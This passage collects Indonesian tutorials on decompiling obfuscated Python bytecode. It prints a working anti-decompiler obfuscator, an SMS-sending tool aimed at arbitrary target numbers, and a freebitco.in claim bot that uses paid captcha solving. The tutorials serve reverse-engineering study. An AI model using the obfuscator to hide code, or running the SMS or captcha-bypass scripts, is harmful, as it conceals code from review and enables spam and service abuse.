15 |
16 | * Ternyata file tersebut tipenya adalah python bytecode, jadi sebaiknya kita ubah ekstensinya menjadi **pyc**:
17 |
18 | ```bash
19 | % mv antiuncompyle6.py antiuncompyle6.pyc
20 | ```
21 |
22 | * Selanjutnya kita lakukan dekompilasi menggunakan [uncompyle6](https://pypi.org/project/uncompyle6/):
23 |
24 | ```bash
25 | % uncompyle6 antiuncompyle6.pyc
26 | ```
27 |
28 | * Hasilnya adalah script berikut ini:
29 |
30 | ```python
31 | (lambda __print, __g, __contextlib: (
32 | __print('[*] anti uncompyle6 [*]'), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda : [ [ [ (open(outf, 'w').write(awok + '\n' + awoka), (__import__('py_compile').compile(outf, outf), None)[1])[1] for __g['awoka'] in [('exec {}.decode("zlib")').format(repr(open(file).read().encode('zlib')))] ][0] for __g['awok'] in [('exec str(chr(35){})').format('+str(0)' * 10000)] ][0] for __g['outf'] in ['enc_' + file] ][0])][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and issubclass(__exctype, Exception) and [ [ True for __out[0] in [(exit(e), lambda after: after())[1]] ][0] for __g['e'] in [__value] ][0]})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [ False for __out[0] in [[ lambda __after: __after() for __g['file'] in [raw_input('masukan file: ')] ][0]] ][0]})())))([None]))[1])(__import__('__builtin__', level=0).__dict__['print'], globals(), __import__('contextlib', level=0))
33 | ```
34 |
35 | * Jika dilihat sepintas, script tersebut tampak cukup rumit. Namun, pada dasarnya script tersebut tidak serumit yang Anda kira. Script tersebut akan meminta _input_ berupa nama file kepada user. Lalu untuk _output_, nama file akan diambil dari file input lalu diberi _prefix_ **enc_**. Misalnya nama file _input_ adalah **tes.py**, maka file _output_ adalah **enc_tes.py**. Adapun operasi yang akan dilakukan terhadap file _input_, adalah isinya akan dibaca terlebih dahulu. Setelah itu, isinya akan di-encode menggunakan _zlib_. File output kemudian akan ditulisi terlebih dahulu dengan karakter comment **#** lalu diikuti dengan 10000 _null character_ baru kemudian diisi dengan hasil encode _zlib_ pada langkah sebelumnya. Langkah terakhir adalah melakukan kompilasi terhadap file tersebut dengan memanfaatkan modul `py_compile`.
36 |
37 | * Untuk demonstrasi, kita akan membuat sebuah script python dengan nama **tes.py** yang isinya sebagai berikut:
38 |
39 | ```python
40 | print "hello world"
41 | ```
42 |
43 | * Script tersebut kemudian akan kita gunakan sebagai input untuk script **antiuncompyle6.pyc**:
44 |
45 | ```bash
46 | % python2.7 antiuncompyle6.pyc
47 | [*] anti uncompyle6 [*]
48 | masukan file: tes.py
49 | ```
50 |
51 | * Setelah proses tersebut selesai, kita bisa melihat bahwa file _output_ disimpan dengan nama **enc_tes.py** seperti yang telah dijelaskan di atas:
52 |
53 | ```bash
54 | % ls -1 *tes*
55 | enc_tes.py
56 | tes.py
57 | ```
58 |
59 | * Jika kita periksa tipe dari file **enc_tes.py** maka hasilnya sebagai berikut:
60 |
61 | ```bash
62 | % file enc_tes.py
63 | enc_tes.py: python 2.7 byte-compiled
64 | ```
65 |
66 | * Selanjutnya, kita akan mengganti ekstensi dari file tersebut menjadi **pyc**:
67 |
68 | ```bash
69 | % mv enc_tes.py enc_tes.pyc
70 | ```
71 |
72 | * Jika kita mencoba melakukan dekompilasi menggunakan uncompyle6, maka kita akan menjumpai pesan error berikut ini:
73 |
74 | ```bash
75 | % uncompyle6 enc_tes.pyc
76 | # uncompyle6 version 3.7.4
77 | # Python bytecode 2.7 (62211)
78 | # Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00)
79 | # [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)]
80 | # Embedded file name: enc_tes.py
81 | # Compiled at: 2020-09-24 16:25:58
82 |
83 | maximum recursion depth exceeded while calling a Python object
84 |
85 |
86 | Last file: enc_tes.pyc Traceback (most recent call last):
87 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 844, in buildTree
88 | attr[i] = self.buildTree(sym, why[0],
89 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 844, in buildTree
90 | attr[i] = self.buildTree(sym, why[0],
91 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 844, in buildTree
92 | attr[i] = self.buildTree(sym, why[0],
93 | [Previous line repeated 989 more times]
94 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 847, in buildTree
95 | return self.rule2func[self.new2old[rule]](attr)
96 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 1044, in
97 | self.buildASTNode(args, lhs)
98 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 1055, in buildASTNode
99 | return self.nonterminal(lhs, children)
100 | File "/home/thanos/.local/lib/python3.8/site-packages/uncompyle6/parser.py", line 254, in nonterminal
101 | rv = GenericASTBuilder.nonterminal(self, nt, args)
102 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/spark.py", line 1061, in nonterminal
103 | rv = self.AST(type)
104 | File "/home/thanos/.local/lib/python3.8/site-packages/uncompyle6/parsers/treenode.py", line 12, in __init__
105 | super(SyntaxTree, self).__init__(*args, **kwargs)
106 | File "/home/thanos/.local/lib/python3.8/site-packages/spark_parser/ast.py", line 16, in __init__
107 | UserList.__init__(self, kids)
108 | File "/usr/lib64/python3.8/collections/__init__.py", line 1061, in __init__
109 | if type(initlist) == type(self.data):
110 | RecursionError: maximum recursion depth exceeded while calling a Python object
111 | ```
112 |
113 | * Demikian pula jika kita menggunakan **pycdc** untuk melakukan dekompilasi:
114 |
115 | ```bash
116 | % pycdc enc_tes.pyc
117 | # Source Generated with Decompyle++
118 | # File: enc_tes.pyc (Python 2.7)
119 |
120 | zsh: segmentation fault (core dumped) pycdc enc_tes.pyc
121 | ```
122 |
123 | * Namun, tidak demikian jika kita melakukan _disassemble_ terhadap file tersebut menggunakan **pycdas** seperti ini:
124 |
125 | ```bash
126 | % pycdas enc_tes.pyc
127 |
128 | (... snip ...)
129 |
130 | 100020 LOAD_CONST 3: 'x\x9c+(\xca\xcc+QP\xcaH\xcd\xc9\xc9W(\xcf/\xcaIQ\xe2\xe2\x02\x00T\xfe\x07\x02'
131 | 100023 LOAD_ATTR 2: decode
132 | 100026 LOAD_CONST 4: 'zlib'
133 | 100029 CALL_FUNCTION 1
134 | 100032 LOAD_CONST 2: None
135 | 100035 DUP_TOP
136 | 100036 EXEC_STMT
137 | 100037 LOAD_CONST 2: None
138 | 100040 RETURN_VALUE
139 | ```
140 |
141 | * Bisa terlihat, bahwa bagian yang di-encode menggunakan _zlib_ masih dapat terlihat dengan jelas, dan kita dapat melakukan dekompilasi secara sederhana seperti ini:
142 |
143 | ```bash
144 | % python2.7 -c "print 'x\x9c+(\xca\xcc+QP\xcaH\xcd\xc9\xc9W(\xcf/\xcaIQ\xe2\xe2\x02\x00T\xfe\x07\x02'.decode('zlib')"
145 | print "hello world"
146 | ```
147 |
148 | * Script asli file tersebut dapat terlihat dengan jelas.
149 |
150 | * Jika Anda sulit untuk mengerti script **antiuncompyle6.py** tersebut, berikut ini adalah script tersebut dalam bentuk yang mudah dibaca:
151 |
152 | ```python
153 | import py_compile
154 |
155 | file = raw_input('masukan file: ')
156 | outf = 'enc_' + file
157 | awok = 'exec str(chr(35){})'.format('+str(0)' * 10000)
158 | awoka = 'exec {}.decode("zlib")'.format(repr(open(file).read().encode('zlib')))
159 | open(outf, 'w').write(awok + '\n' + awoka)
160 | py_compile.compile(outf, outf)
161 | ```
162 |
163 | * Bisa terlihat bahwa script tersebut cukup sederhana.
164 |
165 |
166 | ## Penutup
167 |
168 | Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
169 |
--------------------------------------------------------------------------------
/python/tutorial-decoding_simple_obfuscation.md:
--------------------------------------------------------------------------------
1 | Decoding Simple Obfuscation
2 |
3 |
4 | Pada tutorial singkat kali ini, kita akan melakukan _decoding_ terhadap sebuah file python bytecompiled yang bernama **sms.py**. Langkah pertama yang harus dilakukan adalah mencari tahu tipe dari file tersebut:
5 |
6 | ```bash
7 | % file sms.py
8 | sms.py: python 3.8 byte-compiled
9 | ```
10 |
11 | Ternyata file tersebut merupakan python bytecompiled. Jika kita melihat _string_ yang terdapat pada file tersebut, maka isinya adalah kurang lebih seperti ini:
12 |
13 | ```
14 | ...
15 | #*!*!*!*#^#*!*!*!*#^^#*! ... ^#*!*!*!*#^#*!*!*!*#)
16 | ...
17 | base64
18 | exec
19 | b64decode
20 | ```
21 |
22 | Coba kita salin string yang berupa tanda baca tersebut dan simpan ke dalam file **bot.py** dengan format seperti ini:
23 |
24 | ```python
25 | from base64 import b64decode
26 |
27 | print(b64decode("#*!*!*!*#^#*! ... *#^#*!*!*!*#"))
28 | ```
29 |
30 | Setelah itu, jalankan script tersebut:
31 |
32 | ```bash
33 | % python3 bot.py
34 | ```
35 |
36 | Hasilnya adalah script berikut ini:
37 |
38 | ```python
39 | b'import os,sys,requests,json,time\ndef clear():\n ... Periksa kembali koneksi anda\\033[00m") \n balik()\n'
40 | ```
41 |
42 | Jika diformat ulang dan dirapikan, maka script tersebut bentuknya seperti ini:
43 |
44 | ```python
45 | import os,sys,requests,json,time
46 |
47 | def clear():
48 | os.system("clear")
49 |
50 | def kata(s):
51 | for c in s + "\n":
52 | sys.stdout.write(c)
53 | sys.stdout.flush()
54 | time.sleep(1./140)
55 |
56 | def load():
57 | for x in range(1,101):
58 | time.sleep(1./30)
59 | print(f"\r\033[1;97m[\033[1;96m!\033[1;97m] Loading...(\033[1;92m{x}\033[90m%\033[1;97m)", end="", flush=True)
60 |
61 | def balik():
62 | f = input("\033[1;97m[\033[1;91m?\033[1;97m] Kirim kembali? (y/t): ")
63 | if f == "y":
64 | os.system("python sms.py")
65 | else:
66 | sys.exit("\033[1;97m[\033[1;91m!\033[1;97m]\033[1;91mExit\033[1;97m")
67 |
68 | def baner():
69 | kata("""
70 | \033[1;97m\t
71 | \033[1;91mxe2x95x94xe2x95x90xe2x95x97\033[1;97mxe2x94x8cxe2x94xacxe2x94x90xe2x94x8cxe2x94x80xe2x94x90 \033[33;1mxe2x95x94xe2x95x90xe2x95x97\033[1;97mxe2x94xacxe2x94x80xe2x94x90xe2x94x8cxe2x94x80xe2x94x90xe2x94x8cxe2x94xacxe2x94x90xe2x94xacxe2x94x8cxe2x94x80xe2x94x90
72 | \033[1;91mxe2x95x9axe2x95x90xe2x95x97\033[1;97mxe2x94x82xe2x94x82xe2x94x82xe2x94x94xe2x94x80xe2x94x90xe2x94x80xe2x94x80xe2x94x80\033[33;1mxe2x95x91 xe2x95xa6\033[1;97mxe2x94x9cxe2x94xacxe2x94x98xe2x94x9cxe2x94x80xe2x94xa4 xe2x94x82 xe2x94x82xe2x94x94xe2x94x80xe2x94x90
73 | \033[1;91mxe2x95x9axe2x95x90xe2x95x9d\033[1;97mxe2x94xb4 xe2x94xb4xe2x94x94xe2x94x80xe2x94x98 \033[33;1mxe2x95x9axe2x95x90xe2x95x9d\033[1;97mxe2x94xb4xe2x94x94xe2x94x80xe2x94xb4 xe2x94xb4 xe2x94xb4 xe2x94xb4xe2x94x94xe2x94x80xe2x94x98
74 | \x1b[00m\033[41m SMS GRATIS ALL OPRATOR \033[00m
75 | \033[1;97m[\033[1;91mxe2x80xa2\033[1;97m] Author : \033[33;1mAn brush fon
76 | \033[1;97m[\033[1;91mxe2x80xa2\033[1;97m] Github : \033[4;92mhttps://github.com/Cadot-ID\033[00m
77 | \033[1;94m________________________________________
78 | \033[1;92mNote:\033[1;97m Pesan minimal 15 karakter
79 | \033[1;94m________________________________________""")
80 |
81 | if __name__=="__main__":
82 | clear()
83 | baner()
84 | try:
85 | no = input("\033[1;97m[\033[1;92m+\033[1;97m] Nomor target: \033[33;1m")
86 | msg = input("\033[1;97m[\033[1;92m+\033[1;97m] Pesan: \033[1;92m")
87 | dat = {"number": no, "pesan": msg}
88 | load()
89 | br = requests.post("https://nuubi.herokuapp.com/api/smsgratis", data=dat).text
90 | if "SMS Gratis Telah Dikirim" in br:
91 | print(f"\n\033[1;97m[\033[1;92mxe2x9cx93\033[1;97m] SMS KE \033[1;96m{no} \033[1;92mSuccess")
92 | elif "Terjadi kesalahan!" in br:
93 | kata("\n\033[1;97m[\033[1;91mx\033[1;97m] Terjadi Kesalahan\033[1;91m!!!\033[00m")
94 | else:
95 | print(f"\n\033[1;97m[\033[1;91mx\033[1;97m] SMS KE \033[1;96m{no} \033[1;91mGagal\033[00m")
96 |
97 | except TypeError:
98 | print("\033[1;97m\033[1;91mxe2x80xa2\033[1;97m] Nomor salah\033[1;91m!\033[00m")
99 |
100 | except (KeyboardInterrupt,EOFError):
101 | sys.exit()
102 |
103 | except requests.exceptions.ConnectionError:
104 | print("\033[1;97m[\033[1;91m!\033[1;97m]\033[1;91mPeriksa kembali koneksi anda\033[00m")
105 | balik()
106 | ```
107 |
108 | Demikan tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
109 |
--------------------------------------------------------------------------------
/python/tutorial-dekompilasi_claim_freebitcoin.md:
--------------------------------------------------------------------------------
1 | # Tutorial Dekompilasi Script Claim Freebitco.in
2 |
3 |
4 | ## Pendahuluan
5 |
6 | Tutorial kali ini akan membahas cara melakukan dekompilasi script freebitco.in versi 1.2. Script tersebut merupakan script yang dibuat untuk python 3.
7 |
8 |
9 | ## Langkah-langkah
10 |
11 | * Langkah pertama adalah mencari tahu tipe dari script tersebut:
12 |
13 | ```bash
14 | % file bot.py
15 | bot.pyc: data
16 | ```
17 |
18 | * Tipe dari file tersebut tidak dikenali. Oleh karena itu, kita akan mencoba melihat isinya menggunakan _hexdump_ :
19 |
20 | ```bash
21 | % hexdump -C bot.py | head
22 | 00000000 55 0d 0d 0a 00 00 00 00 aa f5 3e 5f ed 70 01 00 |U.........>_.p..|
23 | 00000010 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
24 | 00000020 00 04 00 00 00 40 00 00 00 73 16 00 00 00 65 00 |.....@...s....e.|
25 | 00000030 65 01 64 00 83 01 a0 02 64 01 a1 01 83 01 01 00 |e.d.....d.......|
26 | 00000040 64 02 53 00 29 03 da 07 6d 61 72 73 68 61 6c 73 |d.S.)...marshals|
27 | 00000050 95 72 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 |.r..............|
28 | 00000060 00 00 00 00 00 05 00 00 00 40 00 00 00 73 1c 00 |.........@...s..|
29 | 00000070 00 00 65 00 64 00 a0 01 64 01 64 02 84 00 64 03 |..e.d...d.d...d.|
30 | 00000080 44 00 83 01 a1 01 83 01 01 00 64 04 53 00 29 05 |D.........d.S.).|
31 | 00000090 da 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 |..c.............|
32 | ```
33 |
34 | * Dari hasil _hexdump_ di atas, bisa terlihat bahwa script tersebut merupakan python bytecode. Oleh karena itu, kita akan mengubah ekstensi dari file tersebut dari `py` menjadi `pyc`:
35 |
36 | ```bash
37 | % mv bot.py bot.pyc
38 | ```
39 |
40 | * Selanjutnya, kita akan menggunakan [uncompyle6](https://pypi.org/project/uncompyle6/) untuk melakukan dekompilasi, dan disimpan dengan nama **bot.py** :
41 |
42 | ```bash
43 | % uncompyle6 bot.pyc > bot.py
44 | ```
45 |
46 | * Setelah itu, buka file **bot.py** hasil dari perintah di atas menggunakan teks editor. Isinya kurang lebih seperti ini:
47 |
48 | ```python
49 | exec(__import__('marshal').loads(b'\xe3\x00\x00 ... \x00\x00\x00'))
50 | ```
51 |
52 | * Edit file tersebut hingga menjadi seperti ini:
53 |
54 | ```python
55 | import sys
56 | import uncompyle6
57 | uncompyle6.main.decompile(3.8, __import__('marshal').loads(b'\xe3\x00\x00 ... \x00\x00\x00'),sys.stdout)
58 | ```
59 |
60 | * Selanjutnya, jalankan script tersebut dan simpan hasilnya pada file sementara, lalu ubah nama file sementara tersebut dengan **bot.py** dan menimpa file aslinya menggunakan perintah berikut ini:
61 |
62 | ```python
63 | % python3 bot.py > tmp && mv -f tmp bot.py
64 | ```
65 |
66 | * Hasilnya akan tersimpan pada file **bot.py** dan isinya kurang lebih seperti ini:
67 |
68 | ```python
69 | exec(''.join((chr(_) for _ in (105, 109, 112, 111, 114, 116, 32, 106, 115, 111, 110,
70 | 44, 32, 111, 115, 44, 32, 115, 121, 115, 10, 105,
71 |
72 | # ... snip ...
73 |
74 | 100, 40, 41, 10, 32, 32, 117, 112, 100, 97, 116, 101,
75 | 40, 41, 10, 32, 32, 114, 117, 110, 40, 41, 10))))
76 | ```
77 |
78 | * Edit file tersebut dan ganti pemanggilan fungsi `exec` menjadi `print` seperti ini:
79 |
80 | ```python
81 | print(''.join((chr(_) for _ in (105, 109, 112, 111, 114, 116, 32, 106, 115, 111, 110,
82 | 44, 32, 111, 115, 44, 32, 115, 121, 115, 10, 105,
83 |
84 | # ... snip ...
85 |
86 | 100, 40, 41, 10, 32, 32, 117, 112, 100, 97, 116, 101,
87 | 40, 41, 10, 32, 32, 114, 117, 110, 40, 41, 10))))
88 | ```
89 |
90 | * Jalankan script tersebut, simpan hasilnya pada file sementara, lalu ubah nama file sementara tersebut menjadi nama script tersebut:
91 |
92 | ```bash
93 | % python3 bot.py > tmp && mv -f tmp bot.py
94 | ```
95 |
96 | * Terakhir, buka file **bot.py** menggunakan teks editor, maka hasilnya adalah kurang lebih seperti potongan kode ini:
97 |
98 | ```python
99 | import json, os, sys
100 | import pyfiglet
101 | import random
102 | import requests
103 | import urllib3
104 | from cowpy import cow
105 | from lolpython import lol_py
106 | from time import sleep, time
107 | from random import randint
108 | from freebitcoin.API import API
109 | from freebitcoin.NonCaptcha import API as nc
110 | from helpers.twocaptcha import TwocaptchaAPI
111 |
112 | kuningT = '\33[93m'
113 | hijauT = '\33[92m'
114 | biruT = '\33[94m'
115 | unguT = '\33[95m'
116 | merahT = '\33[91m'
117 | reset = '\33[0m'
118 |
119 | with open('config.json', 'r') as myfile:
120 | data = myfile.read()
121 |
122 | obj = json.loads(data)
123 |
124 | key = obj["key"]
125 | login = obj["akun"]["login"]
126 | passwor = obj["akun"]["password"]
127 |
128 |
129 | def countdownTimer(start_minute, start_second):
130 | total_second = start_minute * 60 + start_second
131 | while total_second:
132 | mins, secs = divmod(total_second, 60)
133 | print(kuningT + f'Menunggu Claim kembali ==> {mins:02d}:{secs:02d}' + reset, end='\r')
134 | sleep(1)
135 | total_second -= 1
136 |
137 |
138 | def load_animation():
139 | print('\n' * 50)
140 | load_str = "Mohon sabar,, Sedang Proses..."
141 | ls_len = len(load_str)
142 | animation = "|/-\\"
143 | anicount = 0
144 | counttime = 0
145 | i = 0
146 | while (counttime != 100):
147 | sleep(0.03)
148 | load_str_list = list(load_str)
149 | x = ord(load_str_list[i])
150 | y = 0
151 | if x != 32 and x != 46:
152 | if x>90:
153 | y = x-32
154 | else:
155 | y = x + 32
156 |
157 | load_str_list[i]= chr(y)
158 | res =''
159 | for j in range(ls_len):
160 | res = res + load_str_list[j]
161 | sys.stdout.write("\r"+res + animation[anicount])
162 | sys.stdout.flush()
163 | load_str = res
164 | anicount = (anicount + 1)% 4
165 | i =(i + 1)% ls_len
166 | counttime = counttime + 1
167 | if os.name == "nt":
168 | os.system("cls")
169 | else:
170 | os.system("clear")
171 |
172 | def text(s):
173 | for c in s +'\n':
174 | sys.stdout.write(c)
175 | sys.stdout.flush()
176 | sys.stdout.readable()
177 | sleep(random.random() *0.01)
178 |
179 | def banner():
180 | os.system('clear')
181 | msg = cow.milk_random_cow("Wellcome")
182 | lol_py(msg)
183 | Label = pyfiglet.figlet_format("Airdrop Hunter")
184 | lol_py(Label)
185 | text(hijauT + '''# This is script for claim freebitco.in with buy API-key 2captcha
186 | # Creator : Mame299
187 | # Suport By : @harry_rezpector @AkasakaID @xuzut And All Friends
188 | # telegram : @AirdropHunterrrr
189 | # donate : Doge: D7rzpq91xmUVkER6E1ndfinRjRS4jvBkgV
190 | LTC : M9nQQZXwHQaoNStJrBcr6UfdCqx2RJHz5e
191 |
192 |
193 |
194 | Jangan Lupa Ngopi Hari ini...!!! Version 1.2
195 | ====================================================================\n'''+reset)
196 |
197 | # ... snip ...
198 |
199 | if __name__ == "__main__":
200 | os.system('clear')
201 | load_animation()
202 | banner()
203 | password()
204 | update()
205 | run()
206 | ```
207 |
208 | * Bisa terlihat bahwa script tersebut berhasil didekompilasi dengan mudah.
209 |
210 |
211 | ## Penutup
212 |
213 | Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
214 |
--------------------------------------------------------------------------------
/python/tutorial-dekompilasi_key.md:
--------------------------------------------------------------------------------
1 | # Dekompilasi Script Key
2 |
3 | ## Pendahuluan
4 |
5 | Pada tutorial kali ini, akan dibahas mengenai cara melakukan dekompilasi terhadap script [key](https://github.com/Mr-XsZ/Key).
6 |
7 | ## Langkah-langkah
8 |
9 | * Pertama kloning terlebih dahulu script tersebut:
10 |
11 | ```bash
12 | % git clone "https://github.com/Mr-XsZ/Key"
13 | ```
14 |
15 | * Pindah ke sub direktori hasil kloning:
16 |
17 | ```bash
18 | % cd Key
19 | ```
20 |
21 | * Selanjutnya, kita periksa tipe file **key.py**:
22 |
23 | ```bash
24 | % file key.py
25 | key.py: data
26 | ```
27 |
28 | * Tipenya tidak dikenali, jadi kita menggunakan **hexdump** untuk melihat bagian akhir dari file tersebut:
29 |
30 | ```bash
31 | % hexdump -C key.py | tail
32 | 00001f90 77 02 90 ba a6 b2 90 ee 8b f0 1e ac 5a fe 3b ee |w...........Z.;.|
33 | 00001fa0 65 ff 16 2c fe 36 3c c3 fc f3 2f 94 33 ab d6 29 |e..,.6<.../.3..)|
34 | 00001fb0 08 da 07 6d 61 72 73 68 61 6c da 04 7a 6c 69 62 |...marshal..zlib|
35 | 00001fc0 da 06 62 61 73 65 36 34 72 02 00 00 00 da 03 46 |..base64r......F|
36 | 00001fd0 6f 58 da 04 65 78 65 63 da 05 6c 6f 61 64 73 da |oX..exec..loads.|
37 | 00001fe0 0a 64 65 63 6f 6d 70 72 65 73 73 a9 00 72 0a 00 |.decompress..r..|
38 | 00001ff0 00 00 72 0a 00 00 00 72 07 00 00 00 da 08 3c 6d |..r....r..........s.....|
40 | 00002010 00 0c 00 |...|
41 | ```
42 |
43 | * Bisa terlihat bahwa file tersebut merupakan file _python bytecode_ dan kemungkinan besar menggunakan _bytecode_ python v3.8 karena belum dikenali. Selanjutnya kita ubah ekstensinya menjadi **.pyc** dan melakukan dekompilasi menggunakan [uncompyle6](https://github.com/rocky/python-uncompyle6) dan hasilnya disimpan pada file **out.py**:
44 |
45 | ```bash
46 | % mv key.py key.pyc
47 | % uncompyle6 key.pyc > out.py
48 | ```
49 |
50 | * Hasilnya pada file **out.py** kurang lebih seperti ini:
51 |
52 | ```python
53 | # uncompyle6 version 3.7.4
54 | # Python bytecode 3.8 (3413)
55 | # Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00)
56 | # [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)]
57 | # Embedded file name: exec
58 | # Compiled at: 2020-06-30 11:41:50
59 | # Size of source mod 2**32: 23224 bytes
60 | import marshal, zlib
61 | from base64 import b64decode as FoX
62 | exec(marshal.loads(FoX(zlib.decompress(b'x\x9cm\x9a\xb5 ... \xf3/\x943\xab\xd6'))))
63 | # okay decompiling key.pyc
64 | ```
65 |
66 | * Jika kita menjalankan script tersebut, maka akan muncul tampilan seperti ini:
67 |
68 | ```bash
69 | % python3 out.py
70 |
71 | ╦╔═╔═╗╦ ╦
72 | ╠╩╗║╣ ╚╦╝
73 | ╩ ╩╚═╝ ╩
74 | ╔═════════════════════════════════════════╗
75 | ║* Author : Angga ║
76 | ║* Wa : 082211661007 ║
77 | ║* Github : Https://Github.com/Mr-XsZ ║
78 | ╚═════════════════════════════════════════╝
79 |
80 | 1. Standart
81 | 2. My Version
82 | 99. Exit`
83 |
84 | [+] Masukkan Pilihan:
85 | ```
86 |
87 | * Pada tampilan di atas terdapat _string_ berupa nomor WA pembuat script tersebut, yaitu `082211661007`. Kita akan membuat sebuah shell script menggunakan bash scripting untuk melakukan proses dekompilasi secara otomatis dengan memanfaatkan _string_ tersebut. Jadi jika _string_ berupa nomor WA tersebut sudah ditemukan, maka proses dekompilasi akan berhenti secara otomatis. Berikut ini adalah script tersebut:
88 |
89 | ```bash
90 | #!/usr/bin/bash
91 |
92 | echo -n "[i] Decompiling "
93 | while true; do
94 | rg -q "082211661007" "out.py"
95 | if [[ $? == 0 ]]; then
96 | echo -e "\n[+] All done!"
97 | break
98 | fi
99 | echo -n "."
100 | sed -i 's/exec(/import sys,uncompyle6\nuncompyle6.main.decompile(3.8,/' "out.py"
101 | sed -i 's/))))/))),sys.stdout)/' "out.py"
102 | python3 "out.py" > "temp" && mv -f "temp" "out.py"
103 | done
104 | ```
105 |
106 | * Simpan kode di atas dengan nama **dekrip.sh**, set _executable_, lalu jalankan seperti ini:
107 |
108 | ```bash
109 | % chmod +x dekrip.sh
110 | % ./dekrip.sh
111 | [i] Decompiling ......................
112 | [+] All done!
113 | ```
114 |
115 | * Setelah proses dekompilasi selesai, maka file **out.py** akan berisi script **key.py** yang sudah didekompilasi. Berikut ini adalah isi dari script tersebut:
116 |
117 | ```python
118 | import os, sys, time
119 | w = '\x1b[97;4m'
120 | m = '\x1b[91;1m'
121 | h = '\x1b[92;1m'
122 | k = '\x1b[93;1m'
123 | u = '\x1b[94;1m'
124 | p = '\x1b[95;1m'
125 | a = '\x1b[96;1m'
126 | s = '\x1b[97;1m'
127 | b = '\x1b[30;2m'
128 | n = '\x1b[30;0m'
129 | zz = ['. ', '.. ', '... ', '.... ', '.....\n']
130 | logo = '\n\x1b[1;92m ╦╔═╔═╗╦ ╦\n\x1b[1;92m ╠╩╗║╣ ╚╦╝\n\x1b[1;92m ╩ ╩╚═╝ ╩ \n\x1b[1;97m╔═════════════════════════════════════════╗\n\x1b[1;97m║\x1b[1;93m* \x1b[1;97m Author \x1b[1;91m: \x1b[1;97m Angga ║\n\x1b[1;97m║\x1b[1;93m* \x1b[1;97m Wa \x1b[1;91m : \x1b[1;97m 082211661007 ║\n\x1b[1;97m║\x1b[1;93m* \x1b[1;97m Github \x1b[1;91m: \x1b[1;97m Https://Github.com/Mr-XsZ ║\n\x1b[1;97m╚═════════════════════════════════════════╝\n'
131 |
132 | def menu():
133 | lagi = 'y'
134 | while lagi == 'y':
135 | print(h, logo)
136 | print('\n{}1. {}Standart\n{}2. {}My Version\n{}99. {}Exit`\n'.format(m, k, m, k, m, k, m, k))
137 | pil = int(input('\n{}[{}+{}] Masukkan Pilihan:{} '.format(h, m, h, a)))
138 | if pil == 1:
139 | stndrt()
140 | if pil == 2:
141 | myv()
142 | if pil == 99:
143 | thx()
144 | sys.exit(1)
145 | lagi = input('{}[{}*{}]Kembali ke Menu??{}[{}y/n{}]{}:{} '.format(h, m, h, u, m, u, h, a))
146 |
147 |
148 | def stndrt():
149 | a = '\x1b[92m'
150 | b = '\x1b[91m'
151 | c = '\x1b[0m'
152 | os.system('clear')
153 | print(a + '\t Key for help you')
154 | print(b + '\t By Angga')
155 | print('\t Subcribe channel : https://www.youtube.com/channel/UCLU9H65QrIC6u2UetU6476w ')
156 | print(a + '++++++++++++++++++++++++++++++++++++++++')
157 | print('\nProses..')
158 | time.sleep(1)
159 | print(b + '\n[!] Making termux properties directory..')
160 | time.sleep(1)
161 | try:
162 | os.mkdir('/data/data/com.termux/files/home/.termux')
163 | except:
164 | pass
165 | else:
166 | print(a + '[!]Success !')
167 | time.sleep(1)
168 | print(b + '\n[!] Making setup file..')
169 | time.sleep(1)
170 | key = "extra-keys = [['ESC','/','-','HOME','UP','>'], ['TAB','CTRL','ALT','LEFT','DOWN','RIGHT']]"
171 | kontol = open('/data/data/com.termux/files/home/.termux/termux.properties', 'w')
172 | kontol.write(key)
173 | kontol.close()
174 | time.sleep(1)
175 | print(a + '[!] Success !')
176 | time.sleep(1)
177 | print(b + '\n[!] Setting up..')
178 | time.sleep(2)
179 | os.system('termux-reload-settings')
180 | print(a + '[!] Successfully !! ^^' + c + '\n\nSupport dgn cara subcribe channel saya : https://www.youtube.com/channel/UCLU9H65QrIC6u2UetU6476w \n\n')
181 |
182 |
183 | def myv():
184 | a = '\x1b[92m'
185 | b = '\x1b[91m'
186 | c = '\x1b[0m'
187 | os.system('clear')
188 | print(a + '\t Shorcut for help you')
189 | print(b + '\t By Angga')
190 | print('\t Subcribe channel : https://www.youtube.com/channel/UCLU9H65QrIC6u2UetU6476w ')
191 | print(a + '++++++++++++++++++++++++++++++++++++++++')
192 | print('\nProses..')
193 | time.sleep(1)
194 | print(b + '\n[!] Making termux properties directory..')
195 | time.sleep(1)
196 | try:
197 | os.mkdir('/data/data/com.termux/files/home/.termux')
198 | except:
199 | pass
200 | else:
201 | print(a + '[!]Success !')
202 | time.sleep(1)
203 | print(b + '\n[!] Making setup file..')
204 | time.sleep(1)
205 | key = "extra-keys = [['ESC','/','-','HOME','END','UP'],['TAB','CTRL','ALT','LEFT','RIGHT','DOWN','PGDN']]"
206 | kontol = open('/data/data/com.termux/files/home/.termux/termux.properties', 'w')
207 | kontol.write(key)
208 | kontol.close()
209 | time.sleep(1)
210 | print(a + '[!] Success !')
211 | time.sleep(1)
212 | print(b + '\n[!] Setting up..')
213 | time.sleep(2)
214 | os.system('termux-reload-settings')
